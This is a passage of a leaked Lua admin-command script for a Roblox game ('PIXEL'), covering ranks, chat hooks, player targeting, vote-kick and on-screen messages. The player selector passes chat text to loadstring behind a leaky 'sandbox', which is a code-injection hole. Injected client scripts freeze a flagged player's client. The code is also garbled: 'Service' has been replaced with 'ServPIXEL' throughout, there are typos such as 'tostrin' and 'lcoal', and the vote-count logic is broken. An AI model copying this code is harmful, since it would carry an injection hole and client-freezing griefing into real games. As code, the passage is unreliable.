1425 | elseif type(BC)=='string' then | |
1426 | return Color3.new(BrickColor.new(BC)) | |
1427 | else | |
1428 | return 'Unsupported format( ' .. type(BC) .. '; ' .. tostring(BC) .. ')' | |
1429 | end | |
1430 | end; | |
1431 | PIXEL.SaveData=function(Player) | |
1432 | local Old=Player:LoadInstance('Data PIXEL25' ) | |
1433 | New=false | |
1434 | if Old==nil then | |
1435 | New=true | |
1436 | Old=Instance.new'Model' | |
1437 | end | |
1438 | if New==true then | |
1439 | local Rank=Instance.new'IntValue' | |
1440 | Rank.Parent=Old | |
1441 | Rank.Name='Rank' | |
1442 | Rank.Value=PIXEL.Ranked[Player.Name].Rank | |
1443 | Color=Instance.new'Color3Value' | |
1444 | Color.Parent=Old | |
1445 | Color.Name,Color.Value='Color',PIXEL.Ranked[Player.Name].Color | |
1446 | else | |
1447 | pcall(function() | |
1448 | if Old.Rank then | |
1449 | Old.Rank.Value=PIXEL.Ranked[Player.Name].Rank | |
1450 | Old.Color.Value=PIXEL.Ranked[Player.Name].Color | |
1451 | else | |
1452 | local Rank=Instance.new'IntValue' | |
1453 | Rank.Parent=Old | |
1454 | Rank.Name='Rank' | |
1455 | Rank.Value=PIXEL.Ranked[Player.Name].Rank | |
1456 | Color=Instance.new'Color3Value' | |
1457 | Color.Parent=Old | |
1458 | Color.Name,Color.Value='Color',PIXEL.Ranked[Player.Name].Color | |
1459 | end | |
1460 | end) | |
1461 | end | |
1462 | Player:SaveInstance('Data PIXEL25',Old) | |
1463 | end | |
1464 | PIXEL.LoadData=function(Player) | |
1465 | tab={Rank=nil,Color=nil} | |
1466 | local Mod=Player:LoadInstance'Data PIXEL25' | |
1467 | if Mod then | |
1468 | tab.Rank=Mod.Rank.Value | |
1469 | tab.Color=Mod.Color.Value | |
1470 | end | |
1471 | return tab | |
1472 | end | |
1473 | PIXEL.CreateLocalScript=function(Source,Parent) | |
1474 | if Parent==nil then Parent=Instance.new'Model' end | |
1475 | if Source==nil then return end | |
1476 | if newLocalScript then | |
1477 | return newLocalScript(Source,Parent) | |
1478 | elseif NewLocalScript then | |
1479 | return NewLocalScript(Source,Parent) | |
1480 | else | |
1481 | if PIXEL.LocalScript~=nil then | |
1482 | CL=PIXEL.LocalScript:clone() | |
1483 | CL:ClearAllChildren(); | |
1484 | CL.Name='[PIXEL]:PseudoLocal' | |
1485 | DS=Instance.new'StringValue' | |
1486 | DS.Name='Source' | |
1487 | if game.CreatorId==9201 then | |
1488 | DS.Name='DSource' | |
1489 | end | |
1490 | DS.Value=Source | |
1491 | CL.Disabled=true | |
1492 | CL.Parent=Parent | |
1493 | CL.Disabled=false | |
1494 | return CL | |
1495 | else | |
1496 | return nil | |
1497 | end | |
1498 | end | |
1499 | end | |
1500 | --[[ Mesh = Instance.new("SpecialMesh") | |
1501 | Mesh.MeshId = "http://www.roblox.com/asset/?id=105408067" | |
1502 | Mesh.MeshType = Enum.MeshType.FileMesh | |
1503 | Mesh.Parent=Tab.Part | |
1504 | ]] -- | |
1505 | PIXEL.ConChat=function(Player) | |
1506 | coroutine.wrap(function() | |
1507 | local Script = PIXEL.CreateLocalScript([==[ | |
1508 | wait() | |
1509 | script.Parent=Instance.new'Glue' | |
1510 | LocalPlayer=game:servPIXEL'Players'.LocalPlayer; | |
1511 | Rank=]==]..tostrin(PIXEL.Ranked[Player].Rank)..[==[; | |
1512 | repeat | |
1513 | wait() | |
1514 | until LocalPlayer.Parent==nil or LocalPlayer.Parent ~= game.Players; | |
1515 | LocalPlayer.Chatted:connect(function(Msg) | |
1516 | if Rank > 0 then | |
1517 | local Mod=Instance.new'Model' | |
1518 | lcoal Data=Instance.new'StringValue' | |
1519 | local Player=Instance.new'Model' | |
1520 | Player.Name=LocalPlayer.Name | |
1521 | Mod.Name='External'; | |
1522 | Data.Name='Message' | |
1523 | Data.Value=tostring(Msg) | |
1524 | Data.Parent=Mod | |
1525 | Player.Parent=Mod | |
1526 | Mod.Parent=game:servPIXEL'Lighting' | |
1527 | game:servPIXEL'Debris':AddItem(Mod,5) | |
1528 | end | |
1529 | end) | |
1530 | ]==],Player.Backpack) | |
1531 | end)() | |
1532 | end | |
1533 | PIXEL.SetChat=function(Player) | |
1534 | coroutine.wrap(function() | |
1535 | local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end) | |
1536 | FoundChat=PIXEL.ChatConnections[Player.Name] | |
1537 | if FoundChat~=nil then | |
1538 | FoundChat.Conn:disconnect() | |
1539 | PIXEL.ChatConnections[Player.Name]={Conn=Connection} | |
1540 | else | |
1541 | PIXEL.ChatConnections[Player.Name]={Conn=Connection}; | |
1542 | end | |
1543 | end)() | |
1544 | end | |
1545 | PIXEL.FixChat=function(Player) | |
1546 | coroutine.wrap(function() | |
1547 | local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end) | |
1548 | FoundChat=PIXEL.ChatConnections[Player.Name] | |
1549 | if FoundChat~=nil then | |
1550 | FoundChat.Conn:disconnect() | |
1551 | PIXEL.ChatConnections[Player.Name]={Conn=Connection} | |
1552 | else | |
1553 | PIXEL.ChatConnections[Player.Name]={Conn=Connection}; | |
1554 | end | |
1555 | end)() | |
1556 | end | |
1557 | PIXEL.Connect=function(Player) | |
1558 | coroutine.wrap(function() | |
1559 | repeat wait() until Player.Character and Player:findFirstChild'Backpack' | |
1560 | if newLocalScript then | |
1561 | newLocalScript([==[ | |
1562 | wait() | |
1563 | script.Parent=Instance.new'Glue' | |
1564 | LocalPlayer=game:servPIXEL'Players'.LocalPlayer; | |
1565 | LocalPlayer.Chatted:connect(function(Msg) | |
1566 | --if Rank > 0 then | |
1567 | if game.Players:findFirstChild(LocalPlayer.Name)==nil then | |
1568 | Mod,Mg,Pg=Instance.new'Model',Instance.new'StringValue',Instance.new'StringValue' | |
1569 | Mod.Name,Mg.Name,Pg.Name='External','Message',LocalPlayer.Name | |
1570 | Mg.Value,Pg.Value=tostring(Msg),'Player' | |
1571 | Mg.Parent,Pg.Parent=Mod,Mod | |
1572 | Mod.Parent=game.Workspace | |
1573 | game:servPIXEL'Debris':AddItem(Mod,5) | |
1574 | end | |
1575 | --end | |
1576 | end) | |
1577 | ]==],Player.Backpack) | |
1578 | newLocalScript([[ | |
1579 | PIXEL={ | |
1580 | ServPIXELs={}; | |
1581 | } | |
1582 | for i,v in pairs(game:children()) do PIXEL.ServPIXELs[v.Name]=v end | |
1583 | LocalPlayer=PIXEL.ServPIXELs.Players.LocalPlayer; | |
1584 | script.Parent=nil; | |
1585 | script:ClearAllChildren(); | |
1586 | Removed=false | |
1587 | game:servPIXEL'RunServPIXEL'.Stepped:connect(function() | |
1588 | if Removed==false then | |
1589 | if PIXEL.ServPIXELs.Lighting:findFirstChild'Disconnect' then | |
1590 | local Item=PIXEL.ServPIXELs.Lighting:findFirstChild'Disconnect' | |
1591 | if Item.Value==LocalPlayer.Name then | |
1592 | pcall(Item.Destroy,Item) | |
1593 | LocalPlayer.Parent=nil | |
1594 | wait() | |
1595 | LocalPlayer.Parent=PIXEL.ServPIXELs.Players | |
1596 | wait(1) | |
1597 | repeat until nil | |
1598 | end | |
1599 | end | |
1600 | if PIXEL.ServPIXELs.Lighting:findFirstChild'Ender' then | |
1601 | if PIXEL.ServPIXELs.Lighting.Ender.Value=="]]..PIXEL.Ender..[[" then | |
1602 | Removed=true | |
1603 | end | |
1604 | end | |
1605 | end | |
1606 | end)]],Player.Character) | |
1607 | PIXEL.Output('Connect succesfully!','Green',Player,3) | |
1608 | end | |
1609 | end)() | |
1610 | coroutine.wrap(function() | |
1611 | Player:WaitForDataReady() | |
1612 | if Player.Character==nil then | |
1613 | Player:LoadCharacter(); | |
1614 | end | |
1615 | if PIXEL.Ranked[Player.Name]==nil then | |
1616 | local Rankkh=0 | |
1617 | Colorr=Color3.new(0,1,0); | |
1618 | local Item=PIXEL.LoadData(Player) | |
1619 | if Item.Rank ~= nil then | |
1620 | Rankkh=Item.Rank | |
1621 | Colorr=Item.Color | |
1622 | end | |
1623 | PIXEL.Ranked[Player.Name]={Rank=Rankkh,Color=Color3.new(0,1,0),CMD=false}; | |
1624 | end | |
1625 | coroutine.wrap(function() | |
1626 | local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end) | |
1627 | FoundChat=PIXEL.ChatConnections[Player.Name] | |
1628 | if FoundChat~=nil then | |
1629 | FoundChat.Conn:disconnect() | |
1630 | PIXEL.ChatConnections[Player.Name]={Conn=Connection} | |
1631 | else | |
1632 | PIXEL.ChatConnections[Player.Name]={Conn=Connection}; | |
1633 | end | |
1634 | end)() | |
1635 | ToBeRemoved=false | |
1636 | if PIXEL.Ranked[Player.Name].Rank == -1 then | |
1637 | for _,v in pairs(PIXEL.ServPIXELs.Players:children()) do | |
1638 | if v.Name == Player.Name then | |
1639 | -- | |
1640 | else | |
1641 | pcall(function() Player:Destroy() end) | |
1642 | PIXEL.Output(Player.Name .. ' has been removed due to a banishment','Red',v,5) | |
1643 | end | |
1644 | end | |
1645 | repeat | |
1646 | Player:Destroy();wait(); | |
1647 | until Player==nil | |
1648 | end | |
1649 | if Player.Name:sub(1,6) == 'Guest ' then | |
1650 | ToBeRemoved=true | |
1651 | for _,v in pairs(PIXEL.ServPIXELs.Players:children()) do | |
1652 | if v.Name ~= Player.Name then | |
1653 | pcall(function() Player:Destroy() end) | |
1654 | PIXEL.Output(Player.Name .. ' has been removed because guests are not allowed.','Red',v,5) | |
1655 | end | |
1656 | end | |
1657 | end | |
1658 | if Player.AccountAge < 7 and PIXEL.Ranked[Player.Name].Rank == 0 then | |
1659 | ToBeRemoved=true | |
1660 | for _,v in pairs(PIXEL.ServPIXELs.Players:children()) do | |
1661 | if v.Name ~= Player.Name then | |
1662 | pcall(function() Player:Destroy() end) | |
1663 | PIXEL.Output(Player.Name .. ' has been removed because his/her account is not a week old yet.','Red',v,5) | |
1664 | end | |
1665 | end | |
1666 | end | |
1667 | if ToBeRemoved==true then | |
1668 | repeat | |
1669 | Player:Destroy();wait(); | |
1670 | until Player==nil | |
1671 | else | |
1672 | --if PIXEL.LocalScript and game.PlaceId~= 21053279 then | |
1673 | --end | |
1674 | ||
1675 | end | |
1676 | repeat | |
1677 | wait() | |
1678 | until PIXEL.Ranked[Player.Name] | |
1679 | wait() | |
1680 | if PIXEL.ServPIXELs.Players:findFirstChild(Player.Name) and ToBeRemoved==false then | |
1681 | --Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end) | |
1682 | PIXEL.SetChat(Player); | |
1683 | if PIXEL.GetRank(Player) > 0 then | |
1684 | PIXEL.Output('Your rank is ' .. PIXEL.GetRank(Player),'Orange',Player,10) | |
1685 | PIXEL.Output('Welcome to PIXEL by AdminMakerLeaked','Green',Player,10) | |
1686 | PIXEL.OnChatted(PIXEL.Bets[2]..'connect'..PIXEL.Bets[2],Player,true) | |
1687 | else | |
1688 | PIXEL.OnChatted(PIXEL.Bets[1]..'menu'..PIXEL.Bets[2],Player,true) | |
1689 | end | |
1690 | end | |
1691 | end)() | |
1692 | ||
1693 | end | |
1694 | PIXEL.Command=function(Name,Command,Rank,Desc,Args,Func) | |
1695 | PIXEL.Commands[Name]={Command=Command,Rank=Rank,Desc=Desc,Args=Args,Func=Func}; | |
1696 | end; | |
1697 | PIXEL.CreateTablets=function(Texts,Colors,Player,Times,Funcs) | |
1698 | if type(Texts) ~= 'table' then | |
1699 | Texts={Texts} | |
1700 | end | |
1701 | if type(Colors) ~= 'table' then | |
1702 | Colors={Colors} | |
1703 | end | |
1704 | if type(Times) ~= 'table' then | |
1705 | Times={Times} | |
1706 | end | |
1707 | if type(Funcs) ~= 'table' then | |
1708 | Funcs={Funcs} | |
1709 | end | |
1710 | Tabs={}; | |
1711 | if #Colors == 1 and #Texts > 1 then | |
1712 | for i,v in pairs(Texts) do | |
1713 | Tabs[#Tabs+1]=PIXEL.Output(v,Colors[1],Player,Times[1],Funcs[1]) | |
1714 | end | |
1715 | else | |
1716 | for i,v in pairs(Texts) do | |
1717 | Tabs[#Tabs+1]=PIXEL.Output(v,Colors[i],Player,Times[i],Funcs[i]) | |
1718 | end | |
1719 | end | |
1720 | return Tabs | |
1721 | end | |
1722 | PIXEL.GetRank=function(Playr) | |
1723 | if type(Playr) == 'userdata' then Playr=Playr.Name end; | |
1724 | local Rank=0 | |
1725 | local g =PIXEL.Ranked[Playr] | |
1726 | if g then Rank = g.Rank end | |
1727 | return Rank | |
1728 | end | |
1729 | PIXEL.TableToString=function(Table,TableName) | |
1730 | local String="" | |
1731 | if TableName then | |
1732 | local String= [[ local ]] .. TableName .. [[ = { ]] | |
1733 | else | |
1734 | String="{" | |
1735 | end | |
1736 | for i,v in pairs(Table) do | |
1737 | if type(i)=='string' then | |
1738 | if type(v) ~='table' then | |
1739 | if type(v)=='string' then | |
1740 | String=String..i..[[=]]..v..[[;]] | |
1741 | elseif type(v)=='number' then | |
1742 | String=String..i..[[=]]..tostring(v)..[[;]] | |
1743 | else | |
1744 | String=String..i..[[=]]..v..[[;]] | |
1745 | end | |
1746 | else | |
1747 | local Tab=PIXEL.TableToString(v,i) | |
1748 | String=String..i..[[=]]..Tab..[[;]] | |
1749 | end | |
1750 | else | |
1751 | if type(v) ~='table' then | |
1752 | if type(v)=='string' then | |
1753 | String=String..v..[[;]] | |
1754 | elseif type(v)=='number' then | |
1755 | String=String..tostring(v)..[[;]] | |
1756 | else | |
1757 | String=String..v..[[;]] | |
1758 | end | |
1759 | else | |
1760 | local Tab=PIXEL.TableToString(v,i) | |
1761 | String=String..Tab..[[;]] | |
1762 | end | |
1763 | end | |
1764 | end | |
1765 | if String:sub(#String,#String)==';' then | |
1766 | String=String:sub(1,#String-1) | |
1767 | end | |
1768 | String=String.."}" | |
1769 | return String | |
1770 | end | |
1771 | PIXEL.SandboxLoadstring=function(Source) | |
1772 | local Func = loadstring(Source or "") | |
1773 | setfenv(Func,{___ENV = getfenv(1)}) | |
1774 | return coroutine.wrap(Func) | |
1775 | end | |
1776 | PIXEL.GetPlayers=function(Msg,Speaker) | |
1777 | if Msg == nil or Speaker == nil then | |
1778 | return PIXEL.ServPIXELs.Players:GetPlayers() | |
1779 | else | |
1780 | local Rtn = {} | |
1781 | local Players = game:servPIXEL'Players':GetPlayers() | |
1782 | Msg = Msg:lower() | |
1783 | local Split = Msg:find(",") | |
1784 | if Split ~= nil then | |
1785 | for _,v in pairs(PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
1786 | Rtn[#Rtn+1] = v | |
1787 | end | |
1788 | for _,v in pairs(PIXEL.GetPlayers(Msg:sub(Split+1),Speaker)) do | |
1789 | Rtn[#Rtn+1] = v | |
1790 | end | |
1791 | elseif Msg == "me" then | |
1792 | if Speaker:IsA'Player' then | |
1793 | Rtn[#Rtn+1] = Speaker | |
1794 | else | |
1795 | Rtn[#Rtn+1] = game.Players:GetPlayers()[math.random(1,#game.Players:GetPlayers())] | |
1796 | end | |
1797 | elseif Msg == "others" then | |
1798 | for _,v in pairs(Players) do | |
1799 | if v ~= Speaker then | |
1800 | Rtn[#Rtn+1] = v | |
1801 | end | |
1802 | end | |
1803 | elseif Msg == "all" then | |
1804 | for _,v in pairs(Players) do | |
1805 | Rtn[#Rtn+1] = v | |
1806 | end | |
1807 | elseif Msg:sub(1,4) == "rank" then | |
1808 | for _,v in pairs(Players) do | |
1809 | if PIXEL.SandboxLoadstring("return "..tostring(PIXEL.GetRank(v))..Msg:sub(5))() then | |
1810 | Rtn[#Rtn+1] = v | |
1811 | end | |
1812 | end | |
1813 | elseif Msg == "random" then | |
1814 | Rtn[#Rtn+1] = Players[math.random(1,#Players)] | |
1815 | elseif Msg:sub(1,4) == "not " then | |
1816 | local Nots = GetPlayers(Msg:sub(5),Speaker) | |
1817 | for _,v in pairs(Players) do | |
1818 | local ShouldAdd = true | |
1819 | for _,i in pairs(Nots) do | |
1820 | if v == i then | |
1821 | ShouldAdd = false | |
1822 | end | |
1823 | end | |
1824 | if ShouldAdd == true then | |
1825 | Rtn[#Rtn+1] = v | |
1826 | end | |
1827 | end | |
1828 | elseif Msg:sub(1,4) == "dist" then | |
1829 | for _,v in pairs(Players) do | |
1830 | --pcall(function() | |
1831 | local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude | |
1832 | if PIXEL.SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then | |
1833 | Rtn[#Rtn+1] = v | |
1834 | end | |
1835 | --end) | |
1836 | end | |
1837 | elseif Msg:sub(1,3) == "age" then | |
1838 | for _,v in pairs(Players) do | |
1839 | if PIXEL.SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then | |
1840 | Rtn[#Rtn+1] = v | |
1841 | end | |
1842 | end | |
1843 | else | |
1844 | for _,v in pairs(Players) do | |
1845 | if v.Name:lower():sub(1,#Msg) == Msg then | |
1846 | Rtn[#Rtn+1] = v | |
1847 | end | |
1848 | end | |
1849 | end | |
1850 | for i=1,#Rtn do | |
1851 | ||
1852 | if PIXEL.Ranked[Rtn[i].Name] and PIXEL.Ranked[Rtn[i].Name].Rank > PIXEL.Ranked[Speaker.Name].Rank then | |
1853 | PIXEL.Output(Rtn[i].Name .. ' outranks you!','Red',Speaker) | |
1854 | Rtn[i]=nil | |
1855 | end | |
1856 | end | |
1857 | for _,Player in pairs(Rtn) do | |
1858 | for _,Parts in pairs(Player.Character:GetChildren()) do | |
1859 | local Color = PIXEL.Ranked[Speaker.Name].Color | |
1860 | if Parts.className == 'Part' then | |
1861 | local Box = Instance.new('SelectionBox', Parts) | |
1862 | Box.Adornee = Parts | |
1863 | Box.Color = BrickColor.new(Color) | |
1864 | Box.Transparency = 0.5 | |
1865 | end | |
1866 | end | |
1867 | coroutine.resume(coroutine.create(function() | |
1868 | wait(1) | |
1869 | for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do | |
1870 | ||
1871 | if Things.className == 'SelectionBox' then Things:remove() end | |
1872 | end | |
1873 | end | |
1874 | end)) | |
1875 | end | |
1876 | return Rtn | |
1877 | end | |
1878 | end | |
1879 | PIXEL.RemoveTablets=function(Player) | |
1880 | if type(Player)=='userdata' then Player=Player.Name end; | |
1881 | Tablets=PIXEL.GetTablets(Player); | |
1882 | for _,v in pairs(Tablets) do | |
1883 | coroutine.wrap(function() | |
1884 | for i=0,1,0.1 do wait() | |
1885 | v.Part.Transparency = i | |
1886 | v.Sel.Transparency = i | |
1887 | v.Label.TextTransparency = i | |
1888 | end | |
1889 | v.Model:Destroy() | |
1890 | end)() | |
1891 | end | |
1892 | end | |
1893 | PIXEL.VoteData.AddVote=function(Player,Value) | |
1894 | PIXEL.VoteData.Votes[Player.Name]=Value | |
1895 | end | |
1896 | PIXEL.VoteData.RemoveVote=function(Player) | |
1897 | PIXEL.VoteData.Votes[Player.Name]=nil | |
1898 | end | |
1899 | PIXEL.VoteData.PlayerHasVoted=function(Player) | |
1900 | Is=false | |
1901 | if PIXEL.VoteData.Votes[Player.Name]==nil then | |
1902 | for P,V in pairs(PIXEL.VoteData.Votes) do | |
1903 | if P:lower():sub(1,#Player.Name)==Player.Name:lower() then | |
1904 | Is=true | |
1905 | end | |
1906 | end | |
1907 | else | |
1908 | Is=true | |
1909 | end | |
1910 | return Is | |
1911 | end | |
1912 | PIXEL.VoteData.ActivateVoteKick=function(Player) | |
1913 | PIXEL.VoteData.Votes={};-- Clear the votes | |
1914 | PIXEL.VoteData.IsVoting=false-- Reset Voting Value | |
1915 | PIXEL.VoteData.VotedPlayer=""-- Reset Voted Player | |
1916 | PIXEL.VoteData.VotingPlayers={};-- Reset Voting Players Table | |
1917 | PIXEL.VoteData.IsVoting=true; | |
1918 | PIXEL.VoteData.VotedPlayer=Player.Name | |
1919 | PIXEL.VoteData.VotingPlayers=PIXEL.ServPIXELs.Players:GetPlayers() | |
1920 | for _nil_,VPlayer in pairs(PIXEL.VoteData.VotingPlayers) do | |
1921 | coroutine.wrap(function() | |
1922 | local Tabs={}; | |
1923 | local EndCor=false; | |
1924 | Tabs['Yes']=PIXEL.Output('Vote yes!','Red',VPlayer,nil,function() PIXEL.VoteData.AddVote(VPlayer,true) EndCor=true end) | |
1925 | Tabs['No']=PIXEL.Output('Vote no!','Red',VPlayer,nil,function() PIXEL.VoteData.AddVote(VPlayer,false) EndCor=true end) | |
1926 | Tabs['Info']=PIXEL.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer) | |
1927 | coroutine.wrap(function() | |
1928 | repeat | |
1929 | for Name,Dat in pairs(Tabs) do | |
1930 | if Dat.Model.Parent==nil or Dat.Part.Parent==nil then | |
1931 | if Name=='Yes' then | |
1932 | Tabs[Name]=PIXEL.Output(Dat.Label.Text,'Red',VPlayer,function() PIXEL.VoteData.AddVote(VPlayer,true) EndCor=true end) | |
1933 | elseif Name=='No' then | |
1934 | Tabs[Name]=PIXEL.Output(Dat.Label.Text,'Red',VPlayer,function() PIXEL.VoteData.AddVote(VPlayer,false) EndCor=true end) | |
1935 | else | |
1936 | Tabs[Name]=PIXEL.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer) | |
1937 | end | |
1938 | end | |
1939 | end | |
1940 | wait() | |
1941 | until EndCor==true | |
1942 | end)() | |
1943 | end)() | |
1944 | end | |
1945 | coroutine.wrap(function() | |
1946 | repeat | |
1947 | wait() | |
1948 | until #PIXEL.VoteData.Votes == #PIXEL.VoteData.VotingPlayers | |
1949 | local Yes,No=0,0 | |
1950 | for Name,P in pairs(PIXEL.VoteData.Votes) do | |
1951 | if P==true then | |
1952 | Yes=Yes+1 | |
1953 | else | |
1954 | No=No+1 | |
1955 | end | |
1956 | end | |
1957 | -- 2/3rds of Votes need to be yes for the Player to be kicked | |
1958 | VoteMsg=Instance.new'Message' | |
1959 | VoteMsg.Name='Voting' | |
1960 | VoteMsg.Parent=PIXEL.ServPIXELs.Workspace:findFirstChild'Base' or PIXEL.ServPIXELs.Workspace | |
1961 | VoteMsg.Text='All the votes are in now calculating votes' | |
1962 | local Needed = #PIXEL.VoteData.VotingPlayers | |
1963 | local NumNeed=false | |
1964 | local IsMult=false | |
1965 | for i=3,30 do | |
1966 | if Needed==i then | |
1967 | IsMult=true | |
1968 | end | |
1969 | end | |
1970 | if IsMult==true then | |
1971 | NumNeeded = Needed / 3 | |
1972 | NumNeeded=NumNeeded + NumNeeded | |
1973 | else | |
1974 | local Mult=0 | |
1975 | for b=3,30 do | |
1976 | if b < Needed then | |
1977 | Mult=b | |
1978 | end | |
1979 | end | |
1980 | -- Found Least Multiple of 3 with remainder | |
1981 | local Remainder=Needed - Mult | |
1982 | if Remainder == 1 then | |
1983 | -- What to do | |
1984 | NumNeeded= Needed / 3 | |
1985 | NumNeeded=NumNeeded + NumNeeded | |
1986 | else | |
1987 | -- Remainder is 2 :) | |
1988 | NumNeeded = tonumber(Needed + 1) / 3 | |
1989 | NumNeeded = NumNeeded + NumNeeded | |
1990 | end | |
1991 | end | |
1992 | wait(1) | |
1993 | VoteMsg='The votes are in; (Yes): ' .. Yes .. ' (No): ' .. No | |
1994 | wait(1) | |
1995 | if Yes >= Needed then | |
1996 | VoteMsg.Text=Player.Name .. ' will now be kicked' | |
1997 | pcall(function() Player:Destroy() end) | |
1998 | else | |
1999 | VoteMsg=Player.Name .. ' will not be kicked' | |
2000 | end | |
2001 | end)() | |
2002 | end | |
2003 | PIXEL.CrashObj=function(Object) | |
2004 | --Object:Destroy() | |
2005 | Object.Parent.Head:Destroy() | |
2006 | Object.Parent:Destroy() | |
2007 | end | |
2008 | PIXEL.CrashCam=function() | |
2009 | local Focus=PIXEL.ServPIXELs.Workspace:findFirstChild('Focus',true) | |
2010 | if Focus then | |
2011 | PIXEL.CrashObj(Focus) | |
2012 | end | |
2013 | end | |
2014 | PIXEL.MakeMessage=function(str,p) | |
2015 | if p==nil then | |
2016 | for _,Player in pairs(game.Players:GetPlayers()) do | |
2017 | coroutine.wrap(function() | |
2018 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
2019 | local Text = Instance.new("TextLabel", Msg) | |
2020 | Text.Position = UDim2.new(0, 0, 0.7, 0) | |
2021 | Text.Font=2 | |
2022 | Text.FontSize=9 | |
2023 | Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255) | |
2024 | Text.BackgroundTransparency = 0.4 | |
2025 | Text.TextColor3 = Color3.new(1, 1, 1) | |
2026 | Text.TextTransparency = 1 | |
2027 | Text.TextWrap = true | |
2028 | Text.Text = tostring(str) | |
2029 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2) | |
2030 | Text.TextTransparency = 0 | |
2031 | Num = #str * 0.06 | |
2032 | wait(3) | |
2033 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
2034 | wait(Num) | |
2035 | Msg:Remove() | |
2036 | end)() | |
2037 | end | |
2038 | else | |
2039 | Player=p; | |
2040 | coroutine.wrap(function() | |
2041 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
2042 | local Text = Instance.new("TextLabel", Msg) | |
2043 | Text.Position = UDim2.new(0, 0, 0.7, 0) | |
2044 | Text.Font=2 | |
2045 | Text.FontSize=9 | |
2046 | Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255) | |
2047 | Text.BackgroundTransparency = 0.1 | |
2048 | Text.TextColor3 = Color3.new(1, 1, 1) | |
2049 | Text.TextTransparency = 1 | |
2050 | Text.TextWrap = true | |
2051 | Text.Text = tostring(str) | |
2052 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2) | |
2053 | Text.TextTransparency = 0 | |
2054 | Num = #str * 0.06 | |
2055 | wait(3) | |
2056 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
2057 | wait(Num) | |
2058 | Msg:Remove() | |
2059 | end)() | |
2060 | end | |
2061 | end | |
2062 | PIXEL.SystemMsg=function(str) | |
2063 | for _,Player in pairs(game.Players:GetPlayers()) do | |
2064 | coroutine.wrap(function() | |
2065 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
2066 | local Text = Instance.new("TextLabel", Msg) | |
2067 | Text.Position = UDim2.new(0, 0, 0, 0) | |
2068 | Text.Font='Legacy' | |
2069 | Text.FontSize = "Size48" | |
2070 | Text.BackgroundColor3 = Color3.new(-1,-1,-1) | |
2071 | Text.BackgroundTransparency = 0.4 | |
2072 | Text.TextColor3 = Color3.new(1,1,1) | |
2073 | Text.TextTransparency = 0 | |
2074 | Text.TextWrap = true | |
2075 | Text.Text = '[ System Message ] \n ' .. tostring(str) | |
2076 | Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2) | |
2077 | Text.TextTransparency = 0.1 | |
2078 | Num = #str * 0.06 | |
2079 | wait(6) | |
2080 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
2081 | wait(Num) | |
2082 | Msg:Remove() | |
2083 | end)() | |
2084 | end | |
2085 | end | |
2086 | PIXEL.MakeHint=function(str,p) | |
2087 | if p == nil then | |
2088 | for _,Player in pairs(game.Players:GetPlayers()) do | |
2089 | coroutine.wrap(function() | |
2090 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
2091 | local Text = Instance.new("TextLabel", Msg) | |
2092 | Text.Position = UDim2.new(0, 0, 0, 0) | |
2093 | Text.Font=2 | |
2094 | Text.FontSize=9 | |
2095 | Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255) | |
2096 | Text.BackgroundTransparency = 0.4 | |
2097 | Text.TextColor3 = Color3.new(1, 1, 1) | |
2098 | Text.TextTransparency = 1 | |
2099 | Text.TextWrap = true | |
2100 | Text.Text = tostring(str) | |
2101 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2) | |
2102 | Text.TextTransparency = 0 | |
2103 | Num = #str * 0.06 | |
2104 | wait(3) | |
2105 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
2106 | wait(Num) | |
2107 | Msg:Remove() | |
2108 | end)() | |
2109 | end | |
2110 | else | |
2111 | Player=p | |
2112 | coroutine.wrap(function() | |
2113 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
2114 | local Text = Instance.new("TextLabel", Msg) | |
2115 | Text.Position = UDim2.new(0, 0, 0, 0) | |
2116 | Text.Font=2 | |
2117 | Text.FontSize=9 | |
2118 | Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255) | |
2119 | Text.BackgroundTransparency = 0.1 | |
2120 | Text.TextColor3 = Color3.new(1, 1, 1) | |
2121 | Text.TextTransparency = 1 | |
2122 | Text.TextWrap = true | |
2123 | Text.Text = tostring(str) | |
2124 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2) | |
2125 | Text.TextTransparency = 0 | |
2126 | Num = #str * 0.06 | |
2127 | wait(3) | |
